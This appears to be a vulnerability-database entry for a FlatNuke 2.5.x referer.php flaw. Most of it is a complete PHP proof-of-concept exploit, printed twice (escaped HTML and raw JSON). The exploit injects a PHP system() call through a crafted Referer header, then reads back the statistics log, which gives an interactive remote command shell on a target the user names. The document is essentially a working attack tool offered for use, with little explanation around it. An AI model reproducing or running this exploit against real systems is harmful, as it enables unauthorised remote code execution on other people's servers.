Search...

FlatNuke 2.5.x - referer.php Crafted Referer Arbitrary PHP Code Execution

2014-07-01T00:00:00

ID SSV:79455
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00

Description

No description provided by source.

                                        
                                            
                                                source: http://www.securityfocus.com/bid/13882/info
  
Multiple input validation vulnerabilities reportedly affect FlatNuke. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it in application-critical actions such as generating Web content or loading scripts.
  
An attacker may leverage these issues to execute arbitrary PHP code, execute client-side script code in the browsers of unsuspecting users through cross-site scripting attacks, and gain access to sensitive information. Other attacks are also possible. 

&#60;?php
/*

  Flatnuke 2.5.3 Arbitrary Remote Command Injection Shell PoC
  
  Description: A simple PHP PoC script yielding a virtual remote shell
  Advisory: http://secwatch.org/advisories/secwatch/20050604_flatnuke.txt
  Original: http://secwatch.org/exploits/2005/06/flatnuke_shell.php.info
  Fixed version: FlatNuke 2.5.3
  Author: SW [at] secwatch [dot] co [dot] uk
  
  References:
  http://flatnuke.sourceforge.net/index.php?mod=read&id=1117979256

*/


/* start session */
session_start();
  
/* initialise session variables. */
if (empty($_SESSION[&#39;output&#39;]) || !empty($_POST[&#39;reset&#39;])) {
  $_SESSION[&#39;history&#39;] = array();
  $_SESSION[&#39;output&#39;] = &#39;&#39;;
  $_SESSION[&#39;cmdcnt&#39;] = 0;
  $_SESSION[&#39;cwd&#39;] = &#39;/&#39;;
  for($len=8,$r=&#39;&#39;; strlen($r)&#60;$len; $r.=chr(!mt_rand(0,2)? mt_rand(48,57):(!mt_rand(0,1)?mt_rand(65,90):mt_rand (97,122))));
  $_SESSION[&#39;rand&#39;] = $r; // rand string for this session only
}
  
if (!empty($_POST[&#39;CMD&#39;])) {
  if (get_magic_quotes_gpc()) {
    $_POST[&#39;CMD&#39;] = stripslashes($_POST[&#39;CMD&#39;]);
  }

  /* save current command in */
  if (($i = array_search($_POST[&#39;CMD&#39;], $_SESSION[&#39;history&#39;])) !== false)
    unset($_SESSION[&#39;history&#39;][$i]);
    
  array_unshift($_SESSION[&#39;history&#39;], $_POST[&#39;CMD&#39;]);
  $_SESSION[&#39;output&#39;] .= &#39;$ &#39; . $_POST[&#39;CMD&#39;] . &#34;\n&#34;;
}

/* initialise current directory. */
if (ereg(&#39;^[[:blank:]]*cd[[:blank:]]*$&#39;, $_POST[&#39;CMD&#39;])) {
  $_SESSION[&#39;cwd&#39;] = dirname(__FILE__);
} else if (ereg(&#39;^[[:blank:]]*cd[[:blank:]]+([^;]+)$&#39;, $_POST[&#39;CMD&#39;], $regs)) {
  if ($regs[1][0] == &#39;/&#39;) {
    $new_dir = $regs[1]; /* absolute path */
  } else {
    $new_dir = $_SESSION[&#39;cwd&#39;] . &#39;/&#39; . $regs[1];/* relative path */
  }
  while (strpos($new_dir, &#39;/./&#39;) !== false) $new_dir = str_replace(&#39;/./&#39;, &#39;/&#39;, $new_dir); /* transform &#39;/./&#39; into &#39;/&#39; */
  while (strpos($new_dir, &#39;//&#39;) !== false) $new_dir = str_replace(&#39;//&#39;, &#39;/&#39;, $new_dir); /* transform &#39;//&#39; into &#39;/&#39; */
  while (preg_match(&#39;|/\.\.(?!\.)|&#39;, $new_dir)) $new_dir = preg_replace(&#39;|/?[^/]+/\.\.(?!\.)|&#39;, &#39;&#39;, $new_dir); /* transform &#39;x/..&#39; into &#39;&#39; */
  $_SESSION[&#39;cwd&#39;] = ($new_dir == &#39;&#39;) ? &#34;/&#34; : $new_dir;
}

/* build the command history */
if (empty($_SESSION[&#39;history&#39;])) {
  $js_command_hist = &#39;&#34;&#34;&#39;;
} else {
  $escaped = array_map(&#39;addslashes&#39;, $_SESSION[&#39;history&#39;]);
  $js_command_hist = &#39;&#34;&#34;, &#34;&#39; . implode(&#39;&#34;, &#34;&#39;, $escaped) . &#39;&#34;&#39;;
}
?&#62;

&#60;html&#62;
 &#60;head&#62;
  &#60;title&#62;FlatNuke 2.5.3 Arbitrary Command Injection Shell PoC&#60;/title&#62;
  &#60;script type=&#34;text/javascript&#34; language=&#34;JavaScript&#34;&#62;
  var current_line = 0;
  var command_hist = new Array(&#60;?php echo $js_command_hist ?&#62;);
  var last = 0;

  function key(e) {
    if (!e) var e = window.event;

    if (e.keyCode == 38 && current_line &#60; command_hist.length-1) {
      command_hist[current_line] = document.shell.CMD.value;
      current_line++;
      document.shell.CMD.value = command_hist[current_line];
    }

    if (e.keyCode == 40 && current_line &#62; 0) {
      command_hist[current_line] = document.shell.CMD.value;
      current_line--;
      document.shell.CMD.value = command_hist[current_line];
    }
  }

  function init() {
    document.shell.setAttribute(&#34;autocomplete&#34;, &#34;off&#34;);
    document.shell.output.scrollTop = document.shell.output.scrollHeight;
    document.shell.CMD.focus();
  }
  &#60;/script&#62;  
  &#60;style&#62;
  textarea { 
    border: none;
    width: 100%;
    padding: 2px 2px 0px;
  }
  div {
    border: inset 2px white;
  } 
  p.prompt {
    font-family: monospace;
    margin: 0px;
    padding: 0px 2px 2px;
  }
  input.prompt {
    border: none;
    font-family: monospace;
  }   
  &#60;/style&#62;
 &#60;/head&#62;
 &#60;body onload=&#34;init()&#34;&#62;
   &#60;p align=&#34;center&#34;&#62;&#60;center&#62;&#60;h2&#62;FlatNuke 2.5.3 Arbitrary Command Injection Shell PoC&#60;/h2&#62;&#60;/center&#62;&#60;/p&#62;&#60;br /&#62;
   &#60;form name=&#34;shell&#34; method=&#34;POST&#34; action=&#34;&#60;? echo $_SERVER[&#39;PHP_SELF&#39;] ?&#62;&#34;&#62;
     &#60;table&#62;
       &#60;tr&#62;
         &#60;td&#62;Host+Path:&#60;/td&#62;
         &#60;td&#62;&#60;input type=&#34;text&#34; name=&#34;URL&#34; size=&#34;35&#34; value=&#34;&#60;? echo $_POST[&#39;URL&#39;] ?&#62;&#34; /&#62; (e.g http://site.com/path/to/flatnuke/ - note only path to flatnuke root directory)&#60;br /&#62;&#60;/td&#62;
       &#60;tr&#62;
       &#60;tr&#62;
         &#60;td&#62;Directory:&#60;/td&#62;
         &#60;td&#62;&#60;?php echo $_SESSION[&#39;cwd&#39;]; ?&#62;&#60;/td&#62;
       &#60;tr&#62;
     &#60;/table&#62;
     &#60;div&#62;
   
&#60;?php
/* tidy up request / set some defaults if not provided */
$urlbits = parse_url($_POST[&#39;URL&#39;]);
$host = ($urlbits[&#39;host&#39;] != &#34;&#34;) ? $urlbits[&#39;host&#39;] : &#34;&#34;;
$port = ($urlbits[&#39;port&#39;] != &#34;&#34;) ? $urlbits[&#39;port&#39;] : 80;
$path = ($urlbits[&#39;path&#39;] != &#34;&#34;) ? $urlbits[&#39;path&#39;] : &#34;/flatnuke/&#34;;
$quer = ($urlbits[&#39;query&#39;] != &#34;&#34;) ? &#34;?&#34;.$urlbits[&#39;query&#39;] : &#34;&#34;;
$cmd = ($_POST[&#39;CMD&#39;] != &#34;&#34;) ? addslashes(&#34;cd {$_SESSION[&#39;cwd&#39;]} && &#34;.$_POST[&#39;CMD&#39;]) : &#34;&#34;;
$reflog = $path.&#34;misc/flatstat/referer.php&#34;;
$int = $_SESSION[&#39;cmdcnt&#39;]++;
$referer = &#34;http://noneexistantsite.com/?s{$_SESSION[&#39;rand&#39;]}$int=&#60;?php system(\&#34;$cmd\&#34;)?&#62;&e{$_SESSION[&#39;rand&#39;]}$int&#34;;

/* ensure all required vars are present */
if (isset($_POST[&#39;URL&#39;]) && $host != &#34;&#34; && $cmd != &#34;&#34;) { 

  /* connect to target */
  if (!$fp = fsockopen($host, $port, $errno, $errstr)) {
    echo &#34;Cound not connect to &#60;i&#62;$host&#60;/i&#62; ($errstr - $errno)&#60;br/&#62;\n&#34;;
  } else {
    /* make HTTP request */
    fputs($fp, &#34;GET $path.$quer HTTP/1.1\r\n&#34;);
    fputs($fp, &#34;Host: $host\r\n&#34;);
    fputs($fp, &#34;Referer: $referer\r\n&#34;);
    fputs($fp, &#34;Connection: close\r\n\r\n&#34;);
    fclose($fp);
    usleep(150000);
  
    /* retrieve command output */
    if ($result = file_get_contents(&#34;http://$host:$port$reflog&#34;)) {

      /* strip other irrelevant referer information */
      $trim = str_replace(&#34;http://noneexistantsite.com/?s{$_SESSION[&#39;rand&#39;]}$int=&#34;, &#34;&#34;, stristr($result, &#34;http://noneexistantsite.com/?s{$_SESSION[&#39;rand&#39;]}$int=&#34;));
      $trim = str_replace(stristr($trim, &#34;&e{$_SESSION[&#39;rand&#39;]}$int&#34;), &#34;&#34;, $trim);

      /* display trimmed command output */
      $_SESSION[&#39;output&#39;] .= htmlspecialchars($trim);
    }
  }
}
?&#62;

   &#60;textarea name=&#34;output&#34; readonly=&#34;readonly&#34; cols=&#34;90&#34; rows=&#34;30&#34;&#62;
&#60;?php
$lines = substr_count($_SESSION[&#39;output&#39;], &#34;\n&#34;);
$padding = str_repeat(&#34;\n&#34;, max(0, 36 - $lines));
echo rtrim($padding . $_SESSION[&#39;output&#39;]);
?&#62;
   &lt;/textarea&gt;
   &#60;p class=&#34;prompt&#34;&#62;
     $&nbsp;&#60;input class=&#34;prompt&#34; type=&#34;text&#34; name=&#34;CMD&#34; size=&#34;78&#34; onkeyup=&#34;key(event)&#34; tabindex=&#34;1&#34; /&#62;
   &#60;/p&#62;
   &#60;/div&#62;&#60;br /&#62;&#60;br /&#62;
   &#60;input type=&#34;submit&#34; value=&#34;Execute&#34; /&#62; &#60;input type=&#34;submit&#34; name=&#34;reset&#34; value=&#34;Reset&#34; /&#62;
   &#60;/form&#62;
 &#60;/body&#62;
&#60;/html&#62;

JSON Vulners Source

Initial Source

{"href": "https://www.seebug.org/vuldb/ssvid-79455", "status": "cve,poc", "bulletinFamily": "exploit", "modified": "2014-07-01T00:00:00", "title": "FlatNuke 2.5.x - referer.php Crafted Referer Arbitrary PHP Code Execution", "cvss": {"vector": "NONE", "score": 0.0}, "sourceHref": "https://www.seebug.org/vuldb/ssvid-79455", "cvelist": [], "description": "No description provided by source.", "viewCount": 1, "published": "2014-07-01T00:00:00", "sourceData": "\n source: http://www.securityfocus.com/bid/13882/info\r\n \r\nMultiple input validation vulnerabilities reportedly affect FlatNuke. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it in application-critical actions such as generating Web content or loading scripts.\r\n \r\nAn attacker may leverage these issues to execute arbitrary PHP code, execute client-side script code in the browsers of unsuspecting users through cross-site scripting attacks, and gain access to sensitive information. Other attacks are also possible. \r\n\r\n<?php\r\n/*\r\n\r\n Flatnuke 2.5.3 Arbitrary Remote Command Injection Shell PoC\r\n \r\n Description: A simple PHP PoC script yielding a virtual remote shell\r\n Advisory: http://secwatch.org/advisories/secwatch/20050604_flatnuke.txt\r\n Original: http://secwatch.org/exploits/2005/06/flatnuke_shell.php.info\r\n Fixed version: FlatNuke 2.5.3\r\n Author: SW [at] secwatch [dot] co [dot] uk\r\n \r\n References:\r\n http://flatnuke.sourceforge.net/index.php?mod=read&id=1117979256\r\n\r\n*/\r\n\r\n\r\n/* start session */\r\nsession_start();\r\n \r\n/* initialise session variables. */\r\nif (empty($_SESSION['output']) || !empty($_POST['reset'])) {\r\n $_SESSION['history'] = array();\r\n $_SESSION['output'] = '';\r\n $_SESSION['cmdcnt'] = 0;\r\n $_SESSION['cwd'] = '/';\r\n for($len=8,$r=''; strlen($r)<$len; $r.=chr(!mt_rand(0,2)? mt_rand(48,57):(!mt_rand(0,1)?mt_rand(65,90):mt_rand (97,122))));\r\n $_SESSION['rand'] = $r; // rand string for this session only\r\n}\r\n \r\nif (!empty($_POST['CMD'])) {\r\n if (get_magic_quotes_gpc()) {\r\n $_POST['CMD'] = stripslashes($_POST['CMD']);\r\n }\r\n\r\n /* save current command in */\r\n if (($i = array_search($_POST['CMD'], $_SESSION['history'])) !== false)\r\n unset($_SESSION['history'][$i]);\r\n \r\n array_unshift($_SESSION['history'], $_POST['CMD']);\r\n $_SESSION['output'] .= '$ ' . $_POST['CMD'] . "\\n";\r\n}\r\n\r\n/* initialise current directory. */\r\nif (ereg('^[[:blank:]]*cd[[:blank:]]*$', $_POST['CMD'])) {\r\n $_SESSION['cwd'] = dirname(__FILE__);\r\n} else if (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $_POST['CMD'], $regs)) {\r\n if ($regs[1][0] == '/') {\r\n $new_dir = $regs[1]; /* absolute path */\r\n } else {\r\n $new_dir = $_SESSION['cwd'] . '/' . $regs[1];/* relative path */\r\n }\r\n while (strpos($new_dir, '/./') !== false) $new_dir = str_replace('/./', '/', $new_dir); /* transform '/./' into '/' */\r\n while (strpos($new_dir, '//') !== false) $new_dir = str_replace('//', '/', $new_dir); /* transform '//' into '/' */\r\n while (preg_match('|/\\.\\.(?!\\.)|', $new_dir)) $new_dir = preg_replace('|/?[^/]+/\\.\\.(?!\\.)|', '', $new_dir); /* transform 'x/..' into '' */\r\n $_SESSION['cwd'] = ($new_dir == '') ? "/" : $new_dir;\r\n}\r\n\r\n/* build the command history */\r\nif (empty($_SESSION['history'])) {\r\n $js_command_hist = '""';\r\n} else {\r\n $escaped = array_map('addslashes', $_SESSION['history']);\r\n $js_command_hist = '"", "' . implode('", "', $escaped) . '"';\r\n}\r\n?>\r\n\r\n<html>\r\n <head>\r\n <title>FlatNuke 2.5.3 Arbitrary Command Injection Shell PoC</title>\r\n <script type="text/javascript" language="JavaScript">\r\n var current_line = 0;\r\n var command_hist = new Array(<?php echo $js_command_hist ?>);\r\n var last = 0;\r\n\r\n function key(e) {\r\n if (!e) var e = window.event;\r\n\r\n if (e.keyCode == 38 && current_line < command_hist.length-1) {\r\n command_hist[current_line] = document.shell.CMD.value;\r\n current_line++;\r\n document.shell.CMD.value = command_hist[current_line];\r\n }\r\n\r\n if (e.keyCode == 40 && current_line > 0) {\r\n command_hist[current_line] = document.shell.CMD.value;\r\n current_line--;\r\n document.shell.CMD.value = command_hist[current_line];\r\n }\r\n }\r\n\r\n function init() {\r\n document.shell.setAttribute("autocomplete", "off");\r\n document.shell.output.scrollTop = document.shell.output.scrollHeight;\r\n document.shell.CMD.focus();\r\n }\r\n </script> \r\n <style>\r\n textarea { \r\n border: none;\r\n width: 100%;\r\n padding: 2px 2px 0px;\r\n }\r\n div {\r\n border: inset 2px white;\r\n } \r\n p.prompt {\r\n font-family: monospace;\r\n margin: 0px;\r\n padding: 0px 2px 2px;\r\n }\r\n input.prompt {\r\n border: none;\r\n font-family: monospace;\r\n } \r\n </style>\r\n </head>\r\n <body onload="init()">\r\n <p align="center"><center><h2>FlatNuke 2.5.3 Arbitrary Command Injection Shell PoC</h2></center></p><br />\r\n <form name="shell" method="POST" action="<? echo $_SERVER['PHP_SELF'] ?>">\r\n <table>\r\n <tr>\r\n <td>Host+Path:</td>\r\n <td><input type="text" name="URL" size="35" value="<? echo $_POST['URL'] ?>" /> (e.g http://site.com/path/to/flatnuke/ - note only path to flatnuke root directory)<br /></td>\r\n <tr>\r\n <tr>\r\n <td>Directory:</td>\r\n <td><?php echo $_SESSION['cwd']; ?></td>\r\n <tr>\r\n </table>\r\n <div>\r\n \r\n<?php\r\n/* tidy up request / set some defaults if not provided */\r\n$urlbits = parse_url($_POST['URL']);\r\n$host = ($urlbits['host'] != "") ? $urlbits['host'] : "";\r\n$port = ($urlbits['port'] != "") ? $urlbits['port'] : 80;\r\n$path = ($urlbits['path'] != "") ? $urlbits['path'] : "/flatnuke/";\r\n$quer = ($urlbits['query'] != "") ? "?".$urlbits['query'] : "";\r\n$cmd = ($_POST['CMD'] != "") ? addslashes("cd {$_SESSION['cwd']} && ".$_POST['CMD']) : "";\r\n$reflog = $path."misc/flatstat/referer.php";\r\n$int = $_SESSION['cmdcnt']++;\r\n$referer = "http://noneexistantsite.com/?s{$_SESSION['rand']}$int=<?php system(\\"$cmd\\")?>&e{$_SESSION['rand']}$int";\r\n\r\n/* ensure all required vars are present */\r\nif (isset($_POST['URL']) && $host != "" && $cmd != "") { \r\n\r\n /* connect to target */\r\n if (!$fp = fsockopen($host, $port, $errno, $errstr)) {\r\n echo "Cound not connect to <i>$host</i> ($errstr - $errno)<br/>\\n";\r\n } else {\r\n /* make HTTP request */\r\n fputs($fp, "GET $path.$quer HTTP/1.1\\r\\n");\r\n fputs($fp, "Host: $host\\r\\n");\r\n fputs($fp, "Referer: $referer\\r\\n");\r\n fputs($fp, "Connection: close\\r\\n\\r\\n");\r\n fclose($fp);\r\n usleep(150000);\r\n \r\n /* retrieve command output */\r\n if ($result = file_get_contents("http://$host:$port$reflog")) {\r\n\r\n /* strip other irrelevant referer information */\r\n $trim = str_replace("http://noneexistantsite.com/?s{$_SESSION['rand']}$int=", "", stristr($result, "http://noneexistantsite.com/?s{$_SESSION['rand']}$int="));\r\n $trim = str_replace(stristr($trim, "&e{$_SESSION['rand']}$int"), "", $trim);\r\n\r\n /* display trimmed command output */\r\n $_SESSION['output'] .= htmlspecialchars($trim);\r\n }\r\n }\r\n}\r\n?>\r\n\r\n <textarea name="output" readonly="readonly" cols="90" rows="30">\r\n<?php\r\n$lines = substr_count($_SESSION['output'], "\\n");\r\n$padding = str_repeat("\\n", max(0, 36 - $lines));\r\necho rtrim($padding . $_SESSION['output']);\r\n?>\r\n </textarea>\r\n <p class="prompt">\r\n $ <input class="prompt" type="text" name="CMD" size="78" onkeyup="key(event)" tabindex="1" />\r\n </p>\r\n </div><br /><br />\r\n <input type="submit" value="Execute" /> <input type="submit" name="reset" value="Reset" />\r\n </form>\r\n </body>\r\n</html>\r\n\n ", "id": "SSV:79455", "enchantments_done": [], "type": "seebug", "lastseen": "2017-11-19T14:52:46", "reporter": "Root", "enchantments": {"score": {"value": 0.3, "vector": "NONE", "modified": "2017-11-19T14:52:46", "rev": 2}, "dependencies": {"references": [], "modified": "2017-11-19T14:52:46", "rev": 2}, "vulnersScore": 0.3}, "references": []}